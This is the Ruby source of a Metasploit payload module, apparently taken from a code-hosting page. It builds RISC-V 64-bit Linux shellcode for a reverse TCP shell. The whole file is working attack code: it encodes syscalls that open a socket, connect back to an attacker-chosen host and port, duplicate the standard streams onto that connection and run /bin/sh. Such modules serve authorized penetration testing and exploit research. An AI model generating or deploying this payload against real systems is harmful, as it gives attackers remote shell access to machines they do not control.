Path: blob/master/modules/payloads/singles/linux/riscv64le/shell_reverse_tcp.rb
27932 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 14078include Msf::Payload::Single9include Msf::Payload::Linux10include Msf::Sessions::CommandShellOptions1112SYS_SOCKET = 19813SYS_CONNECT = 20314SYS_DUP3 = 2415SYS_EXECVE = 22116AF_INET = 217SOCK_STREAM = 118IPPROTO_IP = 01920def initialize(info = {})21super(22merge_info(23info,24'Name' => 'Linux Command Shell, Reverse TCP Inline',25'Description' => 'Connect back to attacker and spawn a command shell.',26'Author' => [27'modexp', # connect.s RISC-V 64-bit shellcode28'bcoles', # metasploit29],30'License' => BSD_LICENSE,31'Platform' => 'linux',32'Arch' => [ ARCH_RISCV64LE ],33'References' => [34['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],35['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],36],37'Handler' => Msf::Handler::ReverseTcp,38'Session' => Msf::Sessions::CommandShellUnix39)40)41end4243# Encode a RISC-V ADDI (Add Immediate) instruction44def encode_addi(rd, rs1, imm12)45opcode = 0b001001146funct3 = 0b00047imm = imm12 & 0xfff48(imm << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode49end5051# Encode a RISC-V LUI (Load Upper Immediate) instruction52def encode_lui(rd, imm20)530b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)54end5556# Encode a RISC-V SLLI (Shift Left Logical Immediate) instruction57def encode_slli(rd, rs1, shamt)58opcode = 0b001001159funct3 = 0b00160funct6 = 0b00000061((funct6 & 0x3f) << 26) | ((shamt & 0x3f) << 20) |62(rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode63end6465# Encode a RISC-V OR instruction (rd = rs1 OR rs2).66def encode_or(rd, rs1, rs2)67opcode = 0b011001168funct3 = 0b11069funct7 = 0b000000070(funct7 << 25) | (rs2 << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode71end7273# Emit RISC-V instruction words that build an arbitrary 64-bit constant in a chosen register using SLLI+LUI+ADDI74# Note: modifies x6 register75def load_const_into_reg64(const, rd)76raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)7778max_const = (1 << 64) - 17980raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)8182# Split into 32‑bit halves83hi = const >> 3284lo = const & 0xFFFF_FFFF8586# Load high half87[88*load_const_into_reg32(hi, rd),89*encode_slli(rd, rd, 32),90*load_const_into_reg32(lo, 6),91*encode_or(rd, rd, 6),92]93end9495# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.96def load_const_into_reg32(const, rd)97raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)9899max_const = 0xFFFF_FFFF100101raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)102103if const >= -2048 && const <= 2047104return [encode_addi(rd, 0, const)]105end106107upper = (const + 0x800) >> 12108low = const & 0xfff109[110encode_lui(rd, upper),111encode_addi(rd, rd, low)112]113end114115def generate(_opts = {})116lhost = datastore['LHOST'] || '127.127.127.127'117lport = datastore['LPORT'].to_i118119raise ArgumentError, 'LHOST must be in IPv4 format.' unless Rex::Socket.is_ipv4?(lhost)120121encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')122encoded_port = [lport].pack('n').unpack1('v')123encoded_sockaddr = (encoded_host << 32) | (encoded_port << 16) | 2124125shellcode = [126# prepare stack1270xff010113, # addi sp,sp,-16128129# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);130*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket131*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP132*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM133*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET1340x00000073, # ecall135136# connect(s, &sa, sizeof(sa));1370x00050693, # mv a3,a0 # a3 = s138*load_const_into_reg32(SYS_CONNECT, 17), # li a7,203 # SYS_connect139*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)140*load_const_into_reg64(encoded_sockaddr, 11),1410x00b13023, # sd a1,0(sp)1420x00010593, # mv a1,sp # a1 = &sa1430x00000073, # ecall144145# dup stdin/stdout/stderr146*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3147*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3148# c_dup:149*load_const_into_reg32(0, 12), # li a2,01500x00068513, # mv a0,a31510xfff58593, # addi a1,a1,-11520x00000073, # ecall1530xfe0598e3, # bnez a1,100c8 <c_dup>154155# execve("/bin/sh", NULL, NULL);156*load_const_into_reg32(SYS_EXECVE, 17), # SYS_execve1570x34399537, # lui a0,0x343991580x7b75051b, # addiw a0,a0,19751590x00c51513, # slli a0,a0,0xc1600x34b50513, # addi a0,a0,8431610x00d51513, # slli a0,a0,0xd1620x22f50513, # addi a0,a0,5591630x00a13023, # sd a0,0(sp)1640x00010513, # mv a0,sp1650x00000073 # ecall166].pack('V*')167168# align our shellcode to 4 bytes169shellcode += "\x00" while shellcode.bytesize % 4 != 0170171super.to_s + shellcode172end173end174175176